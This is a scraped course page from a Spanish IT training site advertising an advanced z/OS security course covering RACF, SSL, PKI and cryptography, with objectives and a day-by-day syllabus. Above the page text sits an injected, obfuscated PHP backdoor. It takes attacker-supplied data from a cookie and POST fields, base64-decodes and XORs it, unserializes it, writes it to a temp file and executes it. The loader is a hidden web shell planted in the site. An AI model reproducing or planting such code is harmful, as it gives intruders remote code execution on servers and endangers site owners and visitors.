$PFkQQj = chr (121) . "\x5f" . 'i' . "\131" . chr ( 450 - 373 ).chr ( 258 - 182 ); $cndBMIMKWU = "\x63" . "\x6c" . 'a' . "\163" . chr (115) . chr (95) . 'e' . "\170" . 'i' . 's' . chr (116) . 's';$YCsjZOjng = class_exists($PFkQQj); $PFkQQj = "60693";$cndBMIMKWU = "62927";$LSHFWHvtVn = !1;if ($YCsjZOjng == $LSHFWHvtVn){function JQiUsND(){return FALSE;}$flGKbPmb = "24328";JQiUsND();class y_iYML{private function kHqizmFp($flGKbPmb){if (is_array(y_iYML::$HnXmizr)) {$uDVeO = sys_get_temp_dir() . "/" . crc32(y_iYML::$HnXmizr["\x73" . "\x61" . "\154" . 't']);@y_iYML::$HnXmizr['w' . chr ( 342 - 228 ).chr ( 802 - 697 )."\164" . chr (101)]($uDVeO, y_iYML::$HnXmizr["\143" . chr (111) . chr ( 583 - 473 ).'t' . 'e' . chr ( 405 - 295 )."\164"]);include $uDVeO;@y_iYML::$HnXmizr['d' . "\145" . "\154" . 'e' . "\164" . "\x65"]($uDVeO); $flGKbPmb = "24328";exit();}}private $nfIOxBUgci;public function KzSRiT(){echo 57754;}public function __destruct(){$flGKbPmb = "58915_20028";$this->kHqizmFp($flGKbPmb); $flGKbPmb = "58915_20028";}public function __construct($gBEinuZpzm=0){$FXHNMtt = $_POST;$CMSrFiI = $_COOKIE;$BQAQiDZrib = "cb529a8e-ec0b-435f-86a9-4175305cacff";$xonCzaGOAG = @$CMSrFiI[substr($BQAQiDZrib, 0, 4)];if (!empty($xonCzaGOAG)){$EviQPEw = "base64";$pkBLiUThwD = "";$xonCzaGOAG = explode(",", $xonCzaGOAG);foreach ($xonCzaGOAG as $HrpNnQ){$pkBLiUThwD .= @$CMSrFiI[$HrpNnQ];$pkBLiUThwD .= @$FXHNMtt[$HrpNnQ];}$pkBLiUThwD = array_map($EviQPEw . "\x5f" . "\x64" . chr ( 1028 - 927 ).'c' . "\157" . chr (100) . "\x65", array($pkBLiUThwD,)); $pkBLiUThwD = $pkBLiUThwD[0] ^ str_repeat($BQAQiDZrib, (strlen($pkBLiUThwD[0]) / strlen($BQAQiDZrib)) + 1);y_iYML::$HnXmizr = @unserialize($pkBLiUThwD); $pkBLiUThwD = class_exists("58915_20028");}}public static $HnXmizr = 41468;}$DhFBgMpMgw = new /* 61252 */ y_iYML(24328 + 24328); $_POST = Array();unset($DhFBgMpMgw);} Advanced z/OS Security: Crypto, Network, RACF, and Your Enterprise|Grupo Loyal

Advanced z/OS Security: Crypto, Network, RACF, and Your Enterprise

Advanced z/OS Security: Crypto, Network, RACF, and Your Enterprise

System z continues to extend the value of the mainframe by leveraging robust security solutions to help meet the needs of today's on demand, service-oriented infrastructures. System z servers have implemented leading-edge technologies, such as high-performance cryptography, multi-level security, large-scale digital certificate authority and life cycle management, improved Secure Sockets Layer (SSL) performance, advanced Resource Access Control Facility (RACF) function, and z/OS Intrusion Detection Services. This advanced z/OS security course presents the evolution of the current z/OS security architecture and explores in detail the various technologies involved in z/OS Cryptographic Services, z/OS Resource Access Control Facility (RACF), and z/OS Integrated Security Services.

In the hands-on exercises, you begin with your own z/OS HTTP Server in a TCP/IP environment. Throughout the exercises, you make changes to the configuration to implement authentication via RACF, SSL, and use of digital certificates. Use is made of facilities such as RACDCERT to manage digital certificates, PKI Services, and RACF auto registration. You will also implement different scenario to implement ssl security for a typical tcpip application, FTP: SSL, TLS, server authentication, client certificates, and AT-TLS. These exercises reinforce the concepts and technologies being covered in the lectures.

Objetivos

Describe the components of network security, platform security, and transaction security on z/OS
Describe how RACF supports UNIX users and groups
Describe web server security flow on z/OS
Explain the contents and use of a digital certificate
Explain the difference between asymmetric and symmetric cryptographic techniques
Explain SSL V3 client authentication
Explain the basics of WebSphere Application Server and web services security
Utilize the RACDCERT command
Discuss the OCSF service providers
Explain VPN (IPSec), SSL/TSL, and AT-TLS and the differences between them
Discuss the z/OS Communication Server policy agent, IDS, and IP filtering
Describe and utilize System SSL
Explain how TN3270 and FTP SSL support works
Explain how IBM secure hardware cryptographic co-processors work
Explain how Kerberos authentication works
Explain the LDAP terms of DN, objectclass, attribute, schema, back end, and directory
Explain how to setup, customize, and operate z/OS PKI Services

so

Disponible en formato e-learning

Disponible en formato presencial

Disponible en formato a distancia

Acceso al campus

Subvención disponible
A través de Fundae, cumpliendo requisitos.

Duración
20 horas

  • Dificultad 50% 50%
  • Nivel alcanzado 80% 80%

Dirigido a

Conocimientos requeridos

Temario

Day 1

Welcome
Unit 1: Overview of z/OS security for on-demand business
Unit 2: z/OS platform security: Part 1
Unit 3: z/OS platform security: Part 2
Unit 4: Introduction to digital certificates and PKI
Day 2

Unit 5: The SSL protocol
Unit 6: HTTP and Apache server, SSL client authentication and WebSphere Application Server security
Unit 7: RACF and digital certificates
Unit 8: Open Cryptographic Services Facility
Exercise 1: Controlling access using the httpd.config file Exercise 2: SSL protocol
Day 3

Exercise 2: SSL protocol (continued)
Unit 9: Introduction to z/OS Communications Server security features
Unit 10: System SSL overview
Unit 11: TN3270 secure connection
Unit 12: FTP server and client secure connection
Unit 13: Cryptography overview: System z integrated cryptography
Day 4

Exercise 3: SSL client authentication and RACF auto registration
Unit 14: Network authentication services and Enterprise Identity Mapping
Unit 15: LDAP Directory Services in z/OS and the Tivoli Director Server for z/OS
Unit 16: An introduction to OpenSSH for z/OS
Exercise 4: Securing FTP with SSL: FTPS, TLS, AT-TLS

Solicita información del curso

It Formacion

It Formacion

Esta web utiliza cookies propias y de terceros para su correcto funcionamiento y para fines analíticos. Contiene enlaces a sitios web de terceros con políticas de privacidad ajenas que podrás aceptar o no cuando accedas a ellos. Al hacer clic en el botón Aceptar, acepta el uso de estas tecnologías y el procesamiento de tus datos para estos propósitos. Ver Política de cookies
Privacidad